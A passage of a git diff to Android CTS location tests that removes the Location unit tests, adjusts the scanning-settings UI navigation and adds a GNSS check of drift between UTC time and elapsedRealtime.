+        Location expected1 = new Location(location1);
+        expected1.setExtras(null);
+        Location expected2 = new Location(location2);
+        expected2.setExtras(null);
+        List<Location> expected = Arrays.asList(expected1, expected2);
+
+        mLocationProvider.reportLocations(locations);
+        verify(mManager).onReportLocations(expected);
+    }
+
+    @Test
+    public void testOnSetRequest() throws Exception {
+        ProviderRequest providerRequest = new ProviderRequest.Builder().setIntervalMillis(500).build();
+        mLocationProvider.asProvider().setRequest(providerRequest);
+        verify(mMock).onSetRequest(providerRequest);
+    }
+
+    @Test
+    public void testOnFlush() throws Exception {
+        mLocationProvider.asProvider().flush();
+        verify(mMock).onFlush(any(OnFlushCompleteCallback.class));
+        verify(mManager).onFlushComplete();
+    }
+
+    @Test
+    public void testOnSendExtraCommand() throws Exception {
+        mLocationProvider.asProvider().sendExtraCommand("command", new Bundle());
+        verify(mMock).onSendExtraCommand(eq("command"), any(Bundle.class));
+    }
+
+    public static class MyProvider extends LocationProviderBase {
+
+        private final LocationProviderBase mMock;
+
+        public MyProvider(@NonNull Context context, @NonNull String tag,
+                @NonNull ProviderProperties properties, LocationProviderBase mock) {
+            super(context, tag, properties);
+            mMock = mock;
+        }
+
+        public ILocationProvider asProvider() {
+            return ILocationProvider.Stub.asInterface(getBinder());
+        }
+
+        @Override
+        public void onSetRequest(@NonNull ProviderRequest request) {
+            mMock.onSetRequest(request);
+        }
+
+        @Override
+        public void onFlush(@NonNull OnFlushCompleteCallback callback) {
+            mMock.onFlush(callback);
+            callback.onFlushComplete();
+        }
+
+        @Override
+        public void onSendExtraCommand(@NonNull String command, @Nullable Bundle extras) {
+            mMock.onSendExtraCommand(command, extras);
+        }
+    }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationTest.java
deleted file mode 100644
index d28e2e0..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationTest.java
+++ /dev/null
@@ -1,540 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.location.Location;
-import android.os.Bundle;
-import android.os.Parcel;
-import android.util.StringBuilderPrinter;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.text.DecimalFormat;
-
-@RunWith(AndroidJUnit4.class)
-public class LocationTest {
-
-    private static final float DELTA = 0.1f;
-    private final float TEST_ACCURACY = 1.0f;
-    private final float TEST_VERTICAL_ACCURACY = 2.0f;
-    private final float TEST_SPEED_ACCURACY = 3.0f;
-    private final float TEST_BEARING_ACCURACY = 4.0f;
-    private final double TEST_ALTITUDE = 1.0;
-    private final double TEST_LATITUDE = 50;
-    private final float TEST_BEARING = 1.0f;
-    private final double TEST_LONGITUDE = 20;
-    private final float TEST_SPEED = 5.0f;
-    private final long TEST_TIME = 100;
-    private final String TEST_PROVIDER = "LocationProvider";
-    private final String TEST_KEY1NAME = "key1";
-    private final String TEST_KEY2NAME = "key2";
-    private final boolean TEST_KEY1VALUE = false;
-    private final byte TEST_KEY2VALUE = 10;
-
-    @Test
-    public void testConstructor() {
-        new Location("LocationProvider");
-
-        Location l = createTestLocation();
-        Location location = new Location(l);
-        assertTestLocation(location);
-
-        try {
-            new Location((Location) null);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-            // expected.
-        }
-    }
-
-    @Test
-    public void testDump() {
-        StringBuilder sb = new StringBuilder();
-        StringBuilderPrinter printer = new StringBuilderPrinter(sb);
-        Location location = new Location("LocationProvider");
-        location.dump(printer, "");
-        assertNotNull(sb.toString());
-    }
-
-    @Test
-    public void testBearingTo() {
-        Location location = new Location("");
-        Location dest = new Location("");
-
-        // set the location to Beijing
-        location.setLatitude(39.9);
-        location.setLongitude(116.4);
-        // set the destination to Chengdu
-        dest.setLatitude(30.7);
-        dest.setLongitude(104.1);
-        assertEquals(-128.66, location.bearingTo(dest), DELTA);
-
-        float bearing;
-        Location zeroLocation = new Location("");
-        zeroLocation.setLatitude(0);
-        zeroLocation.setLongitude(0);
-
-        Location testLocation = new Location("");
-        testLocation.setLatitude(0);
-        testLocation.setLongitude(150);
-
-        bearing = zeroLocation.bearingTo(zeroLocation);
-        assertEquals(0.0f, bearing, DELTA);
-
-        bearing = zeroLocation.bearingTo(testLocation);
-        assertEquals(90.0f, bearing, DELTA);
-
-        testLocation.setLatitude(90);
-        testLocation.setLongitude(0);
-        bearing = zeroLocation.bearingTo(testLocation);
-        assertEquals(0.0f, bearing, DELTA);
-
-        try {
-            location.bearingTo(null);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-            // expected.
-        }
-    }
-
-    @Test
-    public void testConvert_CoordinateToRepresentation() {
-        DecimalFormat df = new DecimalFormat("###.#####");
-        String result;
-
-        result = Location.convert(-80.0, Location.FORMAT_DEGREES);
-        assertEquals("-" + df.format(80.0), result);
-
-        result = Location.convert(-80.085, Location.FORMAT_MINUTES);
-        assertEquals("-80:" + df.format(5.1), result);
-
-        result = Location.convert(-80, Location.FORMAT_MINUTES);
-        assertEquals("-80:" + df.format(0), result);
-
-        result = Location.convert(-80.075, Location.FORMAT_MINUTES);
-        assertEquals("-80:" + df.format(4.5), result);
-
-        result = Location.convert(-80.075, Location.FORMAT_DEGREES);
-        assertEquals("-" + df.format(80.075), result);
-
-        result = Location.convert(-80.075, Location.FORMAT_SECONDS);
-        assertEquals("-80:4:30", result);
-
-        try {
-            Location.convert(-181, Location.FORMAT_SECONDS);
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-
-        try {
-            Location.convert(181, Location.FORMAT_SECONDS);
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-
-        try {
-            Location.convert(-80.075, -1);
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-    }
-
-    @Test
-    public void testConvert_RepresentationToCoordinate() {
-        double result;
-
-        result = Location.convert("-80.075");
-        assertEquals(-80.075, result, DELTA);
-
-        result = Location.convert("-80:05.10000");
-        assertEquals(-80.085, result, DELTA);
-
-        result = Location.convert("-80:04:03.00000");
-        assertEquals(-80.0675, result, DELTA);
-
-        result = Location.convert("-80:4:3");
-        assertEquals(-80.0675, result, DELTA);
-
-        try {
-            Location.convert(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e){
-            // expected.
-        }
-
-        try {
-            Location.convert(":");
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e){
-            // expected.
-        }
-
-        try {
-            Location.convert("190:4:3");
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e){
-            // expected.
-        }
-
-        try {
-            Location.convert("-80:60:3");
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e){
-            // expected.
-        }
-
-        try {
-            Location.convert("-80:4:60");
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e){
-            // expected.
-        }
-    }
-
-    @Test
-    public void testDescribeContents() {
-        Location location = new Location("");
-        location.describeContents();
-    }
-
-    @Test
-    public void testDistanceBetween() {
-        float[] result = new float[3];
-        Location.distanceBetween(0, 0, 0, 0, result);
-        assertEquals(0.0, result[0], DELTA);
-        assertEquals(0.0, result[1], DELTA);
-        assertEquals(0.0, result[2], DELTA);
-
-        Location.distanceBetween(20, 30, -40, 140, result);
-        assertEquals(1.3094936E7, result[0], 1);
-        assertEquals(125.4538, result[1], DELTA);
-        assertEquals(93.3971, result[2], DELTA);
-
-        try {
-            Location.distanceBetween(20, 30, -40, 140, null);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-
-        try {
-            Location.distanceBetween(20, 30, -40, 140, new float[0]);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-    }
-
-    @Test
-    public void testDistanceTo() {
-        float distance;
-        Location zeroLocation = new Location("");
-        zeroLocation.setLatitude(0);
-        zeroLocation.setLongitude(0);
-
-        Location testLocation = new Location("");
-        testLocation.setLatitude(30);
-        testLocation.setLongitude(50);
-
-        distance = zeroLocation.distanceTo(zeroLocation);
-        assertEquals(0, distance, DELTA);
-
-        distance = zeroLocation.distanceTo(testLocation);
-        assertEquals(6244139.0, distance, 1);
-    }
-
-    @Test
-    public void testAccessAccuracy() {
-        Location location = new Location("");
-        assertFalse(location.hasAccuracy());
-
-        location.setAccuracy(1.0f);
-        assertEquals(1.0, location.getAccuracy(), DELTA);
-        assertTrue(location.hasAccuracy());
-    }
-
-    @Test
-    public void testAccessVerticalAccuracy() {
-        Location location = new Location("");
-        assertFalse(location.hasVerticalAccuracy());
-
-        location.setVerticalAccuracyMeters(1.0f);
-        assertEquals(1.0, location.getVerticalAccuracyMeters(), DELTA);
-        assertTrue(location.hasVerticalAccuracy());
-    }
-
-    @Test
-    public void testAccessSpeedAccuracy() {
-        Location location = new Location("");
-        assertFalse(location.hasSpeedAccuracy());
-
-        location.setSpeedAccuracyMetersPerSecond(1.0f);
-        assertEquals(1.0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
-        assertTrue(location.hasSpeedAccuracy());
-    }
-
-    @Test
-    public void testAccessBearingAccuracy() {
-        Location location = new Location("");
-        assertFalse(location.hasBearingAccuracy());
-
-        location.setBearingAccuracyDegrees(1.0f);
-        assertEquals(1.0, location.getBearingAccuracyDegrees(), DELTA);
-        assertTrue(location.hasBearingAccuracy());
-    }
-
-
-    @Test
-    public void testAccessAltitude() {
-        Location location = new Location("");
-        assertFalse(location.hasAltitude());
-
-        location.setAltitude(1.0);
-        assertEquals(1.0, location.getAltitude(), DELTA);
-        assertTrue(location.hasAltitude());
-    }
-
-    @Test
-    public void testAccessBearing() {
-        Location location = new Location("");
-        assertFalse(location.hasBearing());
-
-        location.setBearing(1.0f);
-        assertEquals(1.0, location.getBearing(), DELTA);
-        assertTrue(location.hasBearing());
-
-        location.setBearing(371.0f);
-        assertEquals(11.0, location.getBearing(), DELTA);
-        assertTrue(location.hasBearing());
-
-        location.setBearing(-361.0f);
-        assertEquals(359.0, location.getBearing(), DELTA);
-        assertTrue(location.hasBearing());
-    }
-
-    @Test
-    public void testAccessExtras() {
-        Location location = createTestLocation();
-
-        assertTestBundle(location.getExtras());
-
-        location.setExtras(null);
-        assertNull(location.getExtras());
-    }
-
-    @Test
-    public void testAccessLatitude() {
-        Location location = new Location("");
-
-        location.setLatitude(0);
-        assertEquals(0, location.getLatitude(), DELTA);
-
-        location.setLatitude(90);
-        assertEquals(90, location.getLatitude(), DELTA);
-
-        location.setLatitude(-90);
-        assertEquals(-90, location.getLatitude(), DELTA);
-    }
-
-    @Test
-    public void testAccessLongitude() {
-        Location location = new Location("");
-
-        location.setLongitude(0);
-        assertEquals(0, location.getLongitude(), DELTA);
-
-        location.setLongitude(180);
-        assertEquals(180, location.getLongitude(), DELTA);
-
-        location.setLongitude(-180);
-        assertEquals(-180, location.getLongitude(), DELTA);
-    }
-
-    @Test
-    public void testAccessProvider() {
-        Location location = new Location("");
-
-        String provider = "Location Provider";
-        location.setProvider(provider);
-        assertEquals(provider, location.getProvider());
-
-        location.setProvider(null);
-        assertNull(location.getProvider());
-    }
-
-    @Test
-    public void testAccessSpeed() {
-        Location location = new Location("");
-        assertFalse(location.hasSpeed());
-
-        location.setSpeed(234.0045f);
-        assertEquals(234.0045, location.getSpeed(), DELTA);
-        assertTrue(location.hasSpeed());
-    }
-
-    @Test
-    public void testAccessTime() {
-        Location location = new Location("");
-
-        location.setTime(0);
-        assertEquals(0, location.getTime());
-
-        location.setTime(Long.MAX_VALUE);
-        assertEquals(Long.MAX_VALUE, location.getTime());
-
-        location.setTime(12000);
-        assertEquals(12000, location.getTime());
-    }
-
-    @Test
-    public void testAccessElapsedRealtime() {
-        Location location = new Location("");
-
-        location.setElapsedRealtimeNanos(0);
-        assertEquals(0, location.getElapsedRealtimeNanos());
-
-        location.setElapsedRealtimeNanos(Long.MAX_VALUE);
-        assertEquals(Long.MAX_VALUE, location.getElapsedRealtimeNanos());
-
-        location.setElapsedRealtimeNanos(12000);
-        assertEquals(12000, location.getElapsedRealtimeNanos());
-    }
-
-    @Test
-    public void testAccessElapsedRealtimeUncertaintyNanos() {
-        Location location = new Location("");
-        assertFalse(location.hasElapsedRealtimeUncertaintyNanos());
-        assertEquals(0.0, location.getElapsedRealtimeUncertaintyNanos(), DELTA);
-
-        location.setElapsedRealtimeUncertaintyNanos(12000.0);
-        assertEquals(12000.0, location.getElapsedRealtimeUncertaintyNanos(), DELTA);
-        assertTrue(location.hasElapsedRealtimeUncertaintyNanos());
-
-        location.reset();
-        assertFalse(location.hasElapsedRealtimeUncertaintyNanos());
-        assertEquals(0.0, location.getElapsedRealtimeUncertaintyNanos(), DELTA);
-    }
-
-    @Test
-    public void testSet() {
-        Location location = new Location("");
-
-        Location loc = createTestLocation();
-
-        location.set(loc);
-        assertTestLocation(location);
-
-        location.reset();
-        assertNull(location.getProvider());
-        assertEquals(0, location.getTime());
-        assertEquals(0, location.getLatitude(), DELTA);
-        assertEquals(0, location.getLongitude(), DELTA);
-        assertEquals(0, location.getAltitude(), DELTA);
-        assertFalse(location.hasAltitude());
-        assertEquals(0, location.getSpeed(), DELTA);
-        assertFalse(location.hasSpeed());
-        assertEquals(0, location.getBearing(), DELTA);
-        assertFalse(location.hasBearing());
-        assertEquals(0, location.getAccuracy(), DELTA);
-        assertFalse(location.hasAccuracy());
-
-        assertEquals(0, location.getVerticalAccuracyMeters(), DELTA);
-        assertEquals(0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
-        assertEquals(0, location.getBearingAccuracyDegrees(), DELTA);
-
-        assertFalse(location.hasVerticalAccuracy());
-        assertFalse(location.hasSpeedAccuracy());
-        assertFalse(location.hasBearingAccuracy());
-
-        assertNull(location.getExtras());
-    }
-
-    @Test
-    public void testToString() {
-        Location location = createTestLocation();
-
-        assertNotNull(location.toString());
-    }
-
-    @Test
-    public void testWriteToParcel() {
-        Location location = createTestLocation();
-
-        Parcel parcel = Parcel.obtain();
-        location.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        Location newLocation = Location.CREATOR.createFromParcel(parcel);
-        assertTestLocation(newLocation);
-
-        parcel.recycle();
-    }
-
-    private void assertTestLocation(Location l) {
-        assertNotNull(l);
-        assertEquals(TEST_PROVIDER, l.getProvider());
-        assertEquals(TEST_ACCURACY, l.getAccuracy(), DELTA);
-        assertEquals(TEST_VERTICAL_ACCURACY, l.getVerticalAccuracyMeters(), DELTA);
-        assertEquals(TEST_SPEED_ACCURACY, l.getSpeedAccuracyMetersPerSecond(), DELTA);
-        assertEquals(TEST_BEARING_ACCURACY, l.getBearingAccuracyDegrees(), DELTA);
-        assertEquals(TEST_ALTITUDE, l.getAltitude(), DELTA);
-        assertEquals(TEST_LATITUDE, l.getLatitude(), DELTA);
-        assertEquals(TEST_BEARING, l.getBearing(), DELTA);
-        assertEquals(TEST_LONGITUDE, l.getLongitude(), DELTA);
-        assertEquals(TEST_SPEED, l.getSpeed(), DELTA);
-        assertEquals(TEST_TIME, l.getTime());
-        assertTestBundle(l.getExtras());
-    }
-
-    private Location createTestLocation() {
-        Location l = new Location(TEST_PROVIDER);
-        l.setAccuracy(TEST_ACCURACY);
-        l.setVerticalAccuracyMeters(TEST_VERTICAL_ACCURACY);
-        l.setSpeedAccuracyMetersPerSecond(TEST_SPEED_ACCURACY);
-        l.setBearingAccuracyDegrees(TEST_BEARING_ACCURACY);
-
-        l.setAltitude(TEST_ALTITUDE);
-        l.setLatitude(TEST_LATITUDE);
-        l.setBearing(TEST_BEARING);
-        l.setLongitude(TEST_LONGITUDE);
-        l.setSpeed(TEST_SPEED);
-        l.setTime(TEST_TIME);
-        Bundle bundle = new Bundle();
-        bundle.putBoolean(TEST_KEY1NAME, TEST_KEY1VALUE);
-        bundle.putByte(TEST_KEY2NAME, TEST_KEY2VALUE);
-        l.setExtras(bundle);
-
-        return l;
-    }
-
-    private void assertTestBundle(Bundle bundle) {
-        assertFalse(bundle.getBoolean(TEST_KEY1NAME));
-        assertEquals(TEST_KEY2VALUE, bundle.getByte(TEST_KEY2NAME));
-    }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
index af4bb57..f915b87 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
@@ -63,7 +63,8 @@
     private PackageManager mPackageManager;
 
     @Override
-    protected void setUp() {
+    protected void setUp() throws Exception {
+        super.setUp();
         // Can't use assumeTrue / assumeFalse because this is not a junit test, and so doesn't
         // support using these keywords to trigger assumption failure and skip test.
         if (FeatureUtil.isTV() || FeatureUtil.isAutomotive() || FeatureUtil.isWatch()) {
@@ -86,7 +87,8 @@
         if (FeatureUtil.isTV() || FeatureUtil.isAutomotive() || FeatureUtil.isWatch()) {
             return;
         }
-        launchScanningSettings();
+        launchLocationServicesSettings();
+        launchScanningSettingsFragment(WIFI_SCANNING_TITLE_RES);
 
         final Resources res = mPackageManager.getResourcesForApplication(SETTINGS_PACKAGE);
         final int resId = res.getIdentifier(WIFI_SCANNING_TITLE_RES, "string", SETTINGS_PACKAGE);
@@ -118,12 +120,14 @@
         if (FeatureUtil.isTV() || FeatureUtil.isAutomotive() || FeatureUtil.isWatch()) {
             return;
         }
-        launchScanningSettings();
+        launchLocationServicesSettings();
+        launchScanningSettingsFragment(BLUETOOTH_SCANNING_TITLE_RES);
+
         toggleSettingAndVerify(BLUETOOTH_SCANNING_TITLE_RES,
                 Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE);
     }
 
-    private void launchScanningSettings() {
+    private void launchLocationServicesSettings() {
         // Start from the home screen
         mDevice.pressHome();
         mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
@@ -137,6 +141,18 @@
         mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
     }
 
+    private void launchScanningSettingsFragment(String name)
+            throws PackageManager.NameNotFoundException {
+        final Resources res = mPackageManager.getResourcesForApplication(SETTINGS_PACKAGE);
+        int resId = res.getIdentifier(name, "string", SETTINGS_PACKAGE);
+        UiObject2 pref = mDevice.findObject(By.text(res.getString(resId)));
+        // Click the preference to show the Scanning fragment
+        pref.click();
+
+        // Wait for the Scanning fragment to appear
+        mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(1)), TIMEOUT);
+    }
+
     private void clickAndWaitForSettingChange(UiObject2 pref, ContentResolver resolver,
             String settingKey) {
         final CountDownLatch latch = new CountDownLatch(1);
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
index a908057..945ef03 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
@@ -20,12 +20,14 @@
 import android.location.LocationManager;
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestGnssMeasurementListener;
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
+import junit.framework.Assert;
+
 import java.util.ArrayList;
 import java.util.List;
 
@@ -45,12 +47,15 @@
     private static final int LOCATION_TO_COLLECT_COUNT = 8;
     private static final int PASSIVE_LOCATION_TO_COLLECT_COUNT = 100;
     private static final int TIMEOUT_IN_SEC = 120;
+    private static final long MILLIS_PER_NANO = 1_000_000;
+
+    // Maximum time drift between elapsedRealtime (Android SystemClock time) and utcTime (gps
+    // time calculated from the chipset).
+    private static final long MAX_TIME_DRIFT_MILLIS = 100;
 
     // Minimum time interval between fixes in milliseconds.
     private static final int[] FIX_INTERVALS_MILLIS = {0, 1000, 5000, 15000};
 
-    private static final int MSG_TIMEOUT = 1;
-
     // Timing failures on first NUM_IGNORED_UPDATES updates are ignored.
     private static final int NUM_IGNORED_UPDATES = 2;
 
@@ -81,10 +86,11 @@
         super.tearDown();
     }
 
+    /**
+     * Tests the location update intervals are within expected thresholds.
+     */
     public void testLocationUpdatesAtVariousIntervals() throws Exception {
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -93,6 +99,24 @@
         }
     }
 
+    /**
+     * Tests the time differences between GPS time and elapsedRealtime are bounded.
+     */
+    public void testTimeDriftBetweenUtcTimeAndElapsedRealtime() throws Exception {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
+            return;
+        }
+
+        if (TestMeasurementUtil.isAutomotiveDevice(getContext())) {
+            Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+            return;
+        }
+
+        for (int fixIntervalMillis : FIX_INTERVALS_MILLIS) {
+            testUtcToElapsedRealtimeDriftAtInterval(fixIntervalMillis);
+        }
+    }
+
     private void testLocationUpdatesAtInterval(int fixIntervalMillis) throws Exception {
         Log.i(TAG, "testLocationUpdatesAtInterval, fixIntervalMillis: " + fixIntervalMillis);
         TestLocationListener activeLocationListener = new TestLocationListener(
@@ -118,6 +142,78 @@
         validateLocationUpdateInterval(activeLocations, passiveLocations, fixIntervalMillis);
     }
 
+    /**
+     * Tests the time drift of (gpsTime - elapsedTime) for locations requested with interval
+     * {@code fixIntervalMillis}.
+     */
+    private void testUtcToElapsedRealtimeDriftAtInterval(int fixIntervalMillis) throws Exception {
+        Log.i(TAG,
+                "testGpsToElapsedRealtimeDriftAtInterval. fixIntervalMillis: " + fixIntervalMillis);
+
+        TestLocationListener locationListener = new TestLocationListener(
+                LOCATION_TO_COLLECT_COUNT);
+        mTestLocationManager.requestLocationUpdates(locationListener, fixIntervalMillis);
+
+        // Warm up the GNSS engine by
+        //   if hasBiasUncertainty == true, wait until biasUncertainty < 1ms,
+        //   else, wait for a few location fixes.
+        TestGnssMeasurementListener measurementListener = new TestGnssMeasurementListener(TAG);
+        mTestLocationManager.registerGnssMeasurementCallback(measurementListener);
+        boolean success;
+        try {
+            // Wait until biasUncertainty < 1ms.
+            success = measurementListener.awaitSmallBiasUncertainty();
+            if (success) {
+                Log.i(TAG, "Successfully warmed up GNSS by getting < 1ms biasUncertainty.");
+            }
+        } finally {
+            mTestLocationManager.unregisterGnssMeasurementCallback(measurementListener);
+        }
+
+        try {
+            if (!success) {
+                // Wait for locations for warm-up.
+                success = locationListener.await(
+                        fixIntervalMillis * LOCATION_TO_COLLECT_COUNT);
+                Assert.assertTrue("Time elapsed without getting enough location fixes for"
+                        + " warm-up. Possibly, the test has been run deep indoors."
+                        + " Consider retrying test outdoors.", success);
+                Log.i(TAG, "Successfully warmed up GNSS by getting "
+                        + LOCATION_TO_COLLECT_COUNT + " locations.");
+            }
+
+            locationListener.clearReceivedLocationsAndResetCounter(LOCATION_TO_COLLECT_COUNT);
+            // Wait for locations for time drift check.
+            success = locationListener.await(
+                    (fixIntervalMillis * LOCATION_TO_COLLECT_COUNT) + TIMEOUT_IN_SEC);
+            Assert.assertTrue("Time elapsed without getting enough location fixes."
+                    + " Possibly, the test has been run deep indoors."
+                    + " Consider retrying test outdoors.", success);
+
+        } finally {
+            mTestLocationManager.removeLocationUpdates(locationListener);
+        }
+
+        List<Location> locations = locationListener.getReceivedLocationList();
+        validateTimeDriftBetweenUtcTimeAndElapsedRealtime(locations);
+    }
+
+    private static void validateTimeDriftBetweenUtcTimeAndElapsedRealtime(
+            List<Location> activeLocations) {
+        SoftAssert softAssert = new SoftAssert(TAG);
+        long firstTimeDiff = (activeLocations.get(0).getElapsedRealtimeNanos()
+                / MILLIS_PER_NANO) - activeLocations.get(0).getTime();
+        for (int i = 1; i < activeLocations.size(); i++) {
+            long timeDiff = (activeLocations.get(i).getElapsedRealtimeNanos() / MILLIS_PER_NANO)
+                    - activeLocations.get(i).getTime();
+            long timeDrift = Math.abs(timeDiff - firstTimeDiff);
+            softAssert.assertTrue("Time drift between elapsedRealtime and utcTime must be bounded: "
+                            + timeDrift + " (max: " + MAX_TIME_DRIFT_MILLIS + ")",
+                    timeDrift < MAX_TIME_DRIFT_MILLIS);
+        }
+        softAssert.assertAll();
+    }
+
     private static void validateLocationUpdateInterval(List<Location> activeLocations,
             List<Location> passiveLocations, int fixIntervalMillis) {
         // For active locations, consider all fixes.
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
index a872c49..e00e760 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
@@ -22,7 +22,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 /**
@@ -67,8 +66,7 @@
    */
   public void testAccuracyFields() throws Exception {
     // Checks if GPS hardware feature is present, skips test (pass) if not
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
-        TAG)) {
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
 
@@ -108,18 +106,17 @@
               "When speed is greater than 0, all GNSS locations generated by "
                       + "the LocationManager must have bearing accuracies.",
               location.hasBearingAccuracy());
-      if (location.hasBearingAccuracy()) {
-        softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
-                "Bearing Accuracy should be greater than 0.",
-                location.getBearingAccuracyDegrees() > 0);
-      }
     }
-
+    if (location.hasBearingAccuracy()) {
+      softAssert.assertOrWarnTrue(/* strict= */ true,
+              "Bearing Accuracy should be greater than 0.",
+              location.getBearingAccuracyDegrees() > 0);
+    }
     softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
             "All GNSS locations generated by the LocationManager "
                     + "must have a speed accuracy.", location.hasSpeedAccuracy());
     if (location.hasSpeedAccuracy()) {
-      softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
+      softAssert.assertOrWarnTrue(/* strict= */ true,
               "Speed Accuracy should be greater than 0.",
               location.getSpeedAccuracyMetersPerSecond() > 0);
     }
@@ -127,7 +124,7 @@
             "All GNSS locations generated by the LocationManager "
                     + "must have a vertical accuracy.", location.hasVerticalAccuracy());
     if (location.hasVerticalAccuracy()) {
-      softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
+      softAssert.assertOrWarnTrue(/* strict= */ true,
               "Vertical Accuracy should be greater than 0.",
               location.getVerticalAccuracyMeters() > 0);
     }
@@ -139,8 +136,7 @@
    */
   public void testLocationRegularFields() throws Exception {
     // Checks if GPS hardware feature is present, skips test (pass) if not
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
-        TAG)) {
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
index 6db3d4f..f615d51 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
@@ -17,6 +17,7 @@
 package android.location.cts.gnss;
 
 import android.location.GnssMeasurement;
+import android.location.GnssMeasurementRequest;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssStatus;
 import android.location.cts.common.GnssTestCase;
@@ -25,7 +26,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import java.util.List;
@@ -36,11 +36,8 @@
  * Test steps:
  * 1. Register a listener for {@link GnssMeasurementsEvent}s.
  * 2. Check {@link GnssMeasurementsEvent} status: if the status is not
- *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
- *    following reasons:
- *          2.1 the device does not support the feature,
- *          2.2 GPS is disabled in the device,
- *          2.3 Location is disabled in the device.
+ *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped if the device does not
+ *    support the feature,
  * 3. If at least one {@link GnssMeasurementsEvent} is received, the test will pass.
